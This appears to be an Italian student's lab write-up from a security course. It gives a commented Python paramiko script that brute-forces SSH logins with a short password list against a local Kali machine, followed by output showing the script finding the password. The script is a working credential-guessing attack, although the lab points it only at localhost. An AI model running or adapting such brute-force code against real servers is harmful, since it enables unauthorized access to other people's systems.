File e directory

GameShell

Missione 18

```
~/Castle
[mission 18] $ gsh check

Congratulations, mission 18 has been successfully completed!
```

Programma in Python per Brute_Force su servizio SSH

Brute-Force su SSH

Codice programma commentato

```
import paramiko # Importiamo la libreria Paramiko che fornisce le funzionalità per aprire una connessione SSH

def test_authentication(username, hostname, password): #definiamo una funzione che si aspetta tre parametri relativi al nome dell'utente, al nome dell'host o indirizzo IP del server SSH e la password

    client = paramiko.SSHClient() #paramiko.SSHClient() è la classe di Paramiko per stabilire una connessione SSH
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    # client.set_missing_host_key_policy serve a definire il comportamento del client SSH quando tenta di connettersi a un server di cui non conosce la chiave
    # AutoAddPolicy aggiunge automaticamente le nuove chiavi sconosciute invece di rifiutare la connessione poiché la chiave non è nota.

    try:
        client.connect(hostname, username=username, password=password) # Tenta di connettersi al server SSH utilizzando il nome host, il nome utente e la password specificati.
```

```
        print(f"Authentication successful: {username}:{password}") #
Se la connessione avviene, stampa un messaggio di successo.
        return True # Restituisce True indicando che
l'autenticazione è riuscita.
    except paramiko.AuthenticationException:
        # Cattura l'eccezione specifica sollevata se
l'autenticazione fallisce (ad esempio, nome utente/password errati).
        print(f"Authentication failed: {username}:{password}") #
Stampa un messaggio indicando che l'autenticazione non è riuscita.
        return False # Restituisce False indicando un'autenticazione
non riuscita.
    finally:
        client.close() # Chiude la connessione SSH.

# Elenco di password da provare per l'autenticazione.
passwords = ["password", "spaghetti", "12345", "viva", "kali",
"mario", "rossi", "livorno"]

# Esegue un ciclo per ogni password nell'elenco 'passwords'.
for p in passwords:
    #scorre tutti gli elementi dell'elenco "passwords"
    # Ad ogni iterazione "p" è una password candidata
    if test_authentication("kali", "127.0.0.1", p):#chiama la
funzione "test_authentication" che prova ad autenticarsi con user e
IP fissi, poi prova ogni password dell'elenco
        break #Quando l'autenticazione riesce (True), esce dal ciclo
```

Prima di avviare lo script lancio il servizio SSH con il comando "**sudo systemctl start ssh**" e verifico lo stato con "**sudo systemctl status ssh**"

Da figura sotto si evince che il programma tenta le password in sequenza e si ferma appena trova quella corretta.

```
┌──(kali㉿kali)-[~/Desktop/Visual Studio Code/W5/W8D4]
└─$ python W8D4BruteForceSSH.py
Authentication failed: kali:password
Authentication failed: kali:spaghetti
Authentication failed: kali:12345
Authentication failed: kali:viva
Authentication successful: kali:kali
```